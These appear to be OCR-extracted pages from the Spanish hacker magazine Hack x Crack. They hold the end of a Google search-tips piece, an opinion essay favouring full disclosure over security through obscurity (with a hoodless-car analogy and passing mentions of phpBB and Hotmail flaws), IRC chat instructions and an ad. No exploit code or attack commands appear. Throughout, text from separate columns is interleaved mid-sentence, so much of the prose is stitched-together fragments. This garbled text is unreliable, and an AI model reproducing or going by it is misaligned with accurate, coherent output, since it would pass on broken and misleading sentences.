o menos lo mismo que con el anterior, referencia y os haya sido de utilidad
Igualmente, si queremos convertir 60 pero pudiendo refinar la búsqueda con para la próxima vez que vayáis a hacer
metros a millas o 2147483648 bytes a más opciones. una búsqueda avanzada en Google, o
gigabytes diríamos: 60 metres to miles vayáis utilizar vuestro correo Gmail .
A lo que dirá 60 meters = 0.0372822715 Ya no tenéis escusa para decir "Busqué,
pero no encontré nada en Google" Si
2147483648 bytes to gigabytes Y
Se conoce como un GoogleDork a aquella tenéis alguna pregunta, pasaros en el
obtendremos la respuesta:
persona inepta o necia que es revelada foro, que allí me encontraréis a mí, y a
2 147 483 648 bytes = 2 gigabytes
por Google. Estas personas dejan a Google mucha más gente dispuesta a ayudarte.
Como puedes ver, lo que quieres
indexar(guardar) información confidencial Un Saludo!
encontrar tiene que ser en su palabra
sobre su web, ya sean vulnerabilidades,
en inglés, no puede ser "metros" sino Autor: kurin
información sobre el servidor, directorios
"metres". También debes tener en
secretos o incluso contraseñas con sus
cuenta que solo he puesto unos
correspondientes usuarios.
64
Todas las mañanas, para matar el tiempo que consume el largo camino a la facultad, me
entretengo ojeando la prensa gratuita (aquí en Madrid es habitual acumular hasta tres y cuatro
periódicos al entrar al metro). Una mañana de hace unas cuantas semanas leí una noticia que,
de no estar totalmente seguro que no era 28 de Diciembre, me habría parecido una inocentada:
una conocida marca de automóviles ha diseñado el primer coche sólo para mujeres que
a d e m á s h a s i d o d i s e ñ a d o p o r u n e q u i p o f o r m a d o í n t e g ra m e n t e p o r m u j e r e s .
Podéis hacer una visita a nuestro bien amado google y pero no podré hacer nada ni pedir a ningún amigo que lo
buscar el término Volvo YCC (no había manera de no haga. La única solución es llevar el coche al taller, donde
mencionar la marca... publicidad gratis xD) para saber sabrán como quitar la pieza completa que recubre el
cuál es la idea que esas mujeres han tenido de lo que ha motor.
de ser un coche para mujeres. Seguramente, si eres
mujer, desearías ver las cabezas de estas diseñadoras En ese momento empieza a funcionar la parte más
(http://imgserv.ya.com/images/9/8/982e8235131ca7bi pragmática de mi cerebro: ¿qué necesidad real había de
3.jpg) en una pica... no te culpo, si yo fuera mujer desearía negar el acceso al capó? ¿no sería mejor proporcionar el
lo mismo. acceso al mismo y que cada usuario decida por sí mismo
si desea abrirlo e intentar repararlo, o bien llevarlo a un
Ahora (y antes de iniciar otra guerra de sexos), vamos a taller y confiar en profesionales? Así se ha hecho toda la
imaginar que alguien compra ese coche. Para dejar de vida y no nos ha ido mal. El que quería aprender mecánica
martirizar a las féminas (que bastante tienen con ver su lo hacía y el que no, o buscaba un taller económico o le
género como apellido de ese pseudocoche), imaginemos pedía un favor a un amigo que entendiera y luego le
que yo mismo me lo compro. Sé que imaginar que tengo invitaba a algo (o no, que caraduras los han habido siempre
el dinero para comprar un coche -más aún de esa marca- :-P).
es un gran esfuerzo, pero confío en que tengáis la
suficiente imaginación. ;-) Traslademos ahora esta pequeña parábola al campo del
software. Como hace mucho que dejamos de creer en los
Bien, pongamos que me he comprado mi nuevo y flamante cuentos de hadas, sabemos que no existe el software
YCC y decido salir a dar una vuelta a probarlo. Todo va perfecto, y que todos los programas -en mayor o menor
de maravilla hasta que, de buenas a primeras el coche se medida- tienen fallos. Pues bien, en el mundo de la
para y me deja tirado. ¿Qué ha pasado? Bien, no perdamos seguridad informática existen dos tendencias a la hora de
la calma, vamos a abrir el capó a ver si veo algo a simple manejar las situaciones críticas que suponen la aparición
vista... ¡¿Qué!? ¡Este coche no tiene capó! (Nota: no, no de bugs en el software.
es broma, ese coche NO tiene capó). Yo no soy un hacha
de la mecánica, pero algo sé, y en cualquier caso tengo La primera tendencia es la de ofrecer toda la información
amigos que sí son bastante buenos con la mecánica... posible sobre el fallo: en qué consiste, cómo explotarlo,
65
cómo solucionarlo... esta tendencia de Hace unos meses Microsoft, el mayor cuestión. ¡Y ojo! Que no estoy abogando
capó abierto permite al usuario decidir gigante del software hoy en día, anunció por el software libre (que también, los
por sí mismo si desea corregir el que retiraba el soporte de Windows NT que me conocen saben que soy firme
problema o esperar a que los 4.0. En la práctica significa que no se defensor del mismo), simplemente pido
profesionales (los responsables del van a desarrollar mejoras ni correcciones derecho a saber en qué estoy poniendo
software) lo corrijan. A esta tendencia para el mismo nunca más... y que al mi confianza.
se le conoce en este mundillo como full primer fallo grave que se descubra, todo
disclosure (completamente destapado). aquel con ese sistema estará No sé vosotros, pero si el fabricante de
completamente desprotegido. Dado que mi coche de vez en cuando enviara
La otra tendencia consiste en intentar el entorno NT casi siempre se ha elegido cartas a sus clientes diciendo:
que sea conocida la mínima información como solución en empresas o entornos
posible sobre el fallo. Generalmente se de producción, no creo que nadie en Cuidado, se ha descubierto un fallo de
saca un parche para un fallo que ni esas circunstancias se arriesgue a un diseño en su automóvil que puede causar
siquiera ha sido anunciado con fallo de semejante magnitud. ¿Solución? q u e e x p l o t e s i n p r e v i o a v i s o .
antelación. A esta tendencia se le conoce Actualizar, previo paso por caja para
como security through obscurity renovar tooodas las licencias que Yo, cada vez que escuchara un ruido
(seguridad a través de oscuridad) y tuvieras. extraño, por más que el mecánico
viene a ser el equivalente a no poner insistiera en que no es nada, no me
capó a nuestro coche. En Microsoft los coches no tienen capó. arriesgaría a ir a ningún sitio con ese
Y cuando ellos deciden que debes riesgo con ruedas. No hablemos de hacer
Podéis encontrar más información sobre cambiar de coche (sin importar que siga viajes de 500 kilómetros con pasajeros.
ambas tendencias en la wikipedia: funcionando o no), en el taller te
responden que no van a reparar más Últimamente hago bastantes compras
http://en.wikipedia.org/wiki/Security_ coches de ese modelo. Como el plan online, y consulto los movimientos de
through_obscurity renove pero al revés y poniendo tú la mis cuentas desde la página web de las
pasta. entidades bancarias correspondientes,
http://en.wikipedia.org/wiki/Full_discl por falta de tiempo más que nada (ya
osure Pero voy más allá: ¿de qué me serviría se sabe, la vida a la que nos obliga el
conocer todos los detalles sobre un fallo stress). Y por el mismo motivo por el
Dejando de lado las implicaciones legales de diseño en la junta de la trócola del que no usaría ese coche sin capó, no
de este asunto (un tema del que ya modelo X del último coche de Microsoft? uso software sin capó del que no me
habló AZIMUT en su artículo de opinión) Aunque ese modelo de coche tuviera fío.
podemos observar que en la comunidad capó, al abrirlo descubriría que no tengo
internacional dentro del campo de la ni idea de cómo ha sido diseñado ese Es un hecho que las vulnerabilidades se
seguridad informática, tanto empresas motor ni, por supuesto, de dónde está descubren, por más que las empresas
como particulares se decantan por una la junta de la trócola ni de cómo de software pretendan que no sea así.
u otra tendencia (raramente por un interactúa con su entorno para trabajar. En muchas ocasiones son avisadas de
término medio). esos fallos de seguridad y hacen caso
No sé si habréis leído los boletines de omiso de los avisos. Recuerdo el caso,
Generalmente, las grandes empresas seguridad de Microsoft, pero a mí es hará quizá un año o más, de una grave
de software prefieren que la seguridad que me da la risa. Parecen haber sido vulnerabilidad en hotmail (aquí es donde
de sus productos recaiga en la seguridad redactados con la intención de que no todos los script-kiddies agudizan sus
p o r o s c u r i d a d , m i e n t ra s q u e l o s los comprendan ni sus ingenieros, y al cinco sentidos xD) que permitía resetear
expertos independientes (los hackers, final lo único que se entiende es el password de cualquier usuario: el
si es que esa palabra significa algo Descargar el parche. Pues vale. Por webmaster de Zone H avisó en
hoy en día) suelen preferir el full no mencionar las descripciones de las repetidas ocasiones al personal de MSN
disclosure. actualizaciones que podemos encontrar y no le hicieron caso. Al final, cansado
en Windows Update... a mí a veces me de la situación, decidió publicar el fallo,
Pero técnicamente, ¿qué diferencias da una sensación terrible de dejà vu y lo que obligó al personal de MSN a
reales hay entre una y otra tendencia? no sé si estoy viendo la misma trabajar a destajo para corregirlo en
actualización por enésima vez o si las una noche y evitar el desastre que se
La política de seguridad por oscuridad descripciones se asignan por el método avecinaba (lo siento, script-kiddies, otra
significa en la práctica que dependemos de ctrl+c; ctrl+v. vez será...).
totalmente de la empresa o particular
que ha programado el software para Por ello, creo que aún cuando las ¿No sería mejor haber agradecido la
poder corregir fallos. Y esto estaría bien grandes corporaciones del software información y haber solucionado con
si esos fallos se siguieran corrigiendo optaran por el full disclosure, éste no tiempo (semanas) el fallo que haberlo
eternamente y se hiciera de forma tendría sentido de ser sin tener acceso hecho deprisa y corriendo en una noche?
eficiente, pero... ¿es así? al código fuente del software en En el colegio, todos hacíamos los
66
deberes el día antes, pero creo que una Es por ello que yo sí me fío de PGP, por cerrado y propiedad de una gran
empresa como Microsoft no puede ejemplo. No pecaré de soberbia diciendo empresa del software? Mejor ni pensarlo.
permitirse hacer los deberes el día antes. que he revisado el código fuente de PGP,
Eso ya no es security through entre otras cosas porque no veo Parece ser que, a golpe de talonario y
obscurity... eso es security through necesario revisarlo. Tampoco he revisado mordaza, desean imponernos software
idiocy. línea a línea el código de, por ejemplo, sin capó. Puede parecer que al final
phpBB (el sistema de, entre otros, los tenía razón George Orwell, y solamente
Ahora imaginemos que se descubre una foros de Hack x Crack)... pero porque erró la fecha... pero como no soy alguien
vulnerabilidad crítica en el software X no necesito hacerlo. pesimista, prefiero pensar que no es
y q u e e l d e s c u b r i d o r t i e n e o t ra s así.
intenciones bastante más dañinas. Sé perfectamente que hay gente que sí
Nadie (ni el desarrollador) conoce el audita esos códigos línea por línea, y Si observamos las tendencias del
fallo, pero todos empiezan a observar que en el momento en que se encuentra software de estos últimos años, vemos
los ataques y sus consecuencias. Con una vulnerabilidad, se publica toda la que cada día el software libre arrebata
el código fuente disponible, y una información relativa a la misma, así más trozos del pastel a las grandes
política de full disclosure, es posible como soluciones temporales. A la empresas: Linux a Windows, Firefox a
que cualquiera encuentre el fallo experiencia me remito: Internet Explorer, OpenOffice.org a
auditando el código y proponga una Microsoft Office... y también hay casos
solución, mientras que si el código no de pasteles que el software libre se
Hace unas cuantas de semanas se
está disponible, se hace bastante más come casi completamente: MySQL,
descubrió una vulnerabilidad muy grave
complicado el encontrar el punto exacto Apache...
en phpBB hasta la versión 2.0.12 que
del fallo y mucho más complicado
permitía comprometer totalmente
solucionarlo... eso sin tener en cuenta También vemos que el full disclosure
cualquier foro.
que el realizar ingeniería inversa sobre cada día está más vivo, y que la
código propietario es delito. Y si comunidad hacker se encarga de
Gracias al full disclosure pudimos cerrar
tenemos que esperar a que el desarro- alimentarlo día a día con conocimiento...
el foro a tiempo para evitar males
llador parchee, y tiene la misma prisa a pesar de todo. Como reza la firma de
mayores (y gracias a la gente de
que demuestran a veces empresas un amigo y compañero del foro... Si
elhacker.net ;-P) y en cuanto hubo
como Microsoft... estamos apañados. no se vive como se piensa, se acabará
parche oficial, solucionar el problema.
pensando como se vive.
Es por ello que mi filosofía del software
pasa por el full disclosure y la publicación Pero voy más allá... unos días después Así pues, cuando me compre un coche,
del código fuente. Y de nuevo repito: la se empezó a mencionar en ciertos lo pediré con capó. Y si me lo dan sin
disponibilidad del código fuente no círculos una nueva vulnerabilidad en capó, ya me encargaré yo de ponerlo,
implica necesariamente software libre phpBB hasta la última versión disponible os lo aseguro.
ni open source. Tenemos casos de entonces (2.0.13) que permitía hacer
software muy famoso como PGP más de una maldad. Aún no había Ramiro C.G. (alias Death Master).
(http://www.pgp.com/) donde el código parche oficial ni versión 2.0.14, pero
fuente está disponible para descarga y gracias al full disclosure, pude aplicar
revisión (http://www.pgp.com/ down yo mismo una modificación al código
loads/sourcecode/) pero NO es libre ni del foro que nos puso a salvo del fallo.
abierto. ¿Os imagináis si phpBB fuera código
Para acceder al CHAT únicamente necesitas un cliente de IRC, por ejemplo el mIRC, el irssi o el xchat:
- Para WINDOWS el mIRC ---> http://mirc.irc-hispano.org/mirc616.exe
- Para LINUX el irssi ---> http://irssi.org/ o el xchat ---> http://www.xchat.org/
Para acceder tendreis que poner en la barra de status:
/server irc.irc-domain.org y despues /join #hackxcrack
Y si no tienes ganas de instalar ningún programa, puedes acceder al CHAT directamente con tu navegador de Internet accediendo a la página
http://www.irc-domain.org/chat/ y poniendo en CANAL ---> #hackxcrack
Saludos y feliz chateo**
67
PON AQUÍ TU PUBLICIDAD
Contacta DIRECTAMENTE con
nuestro coordinador de publicidad
INFÓRMATE
¡sin compromiso!
610 52 91 71
precios desde
99 euros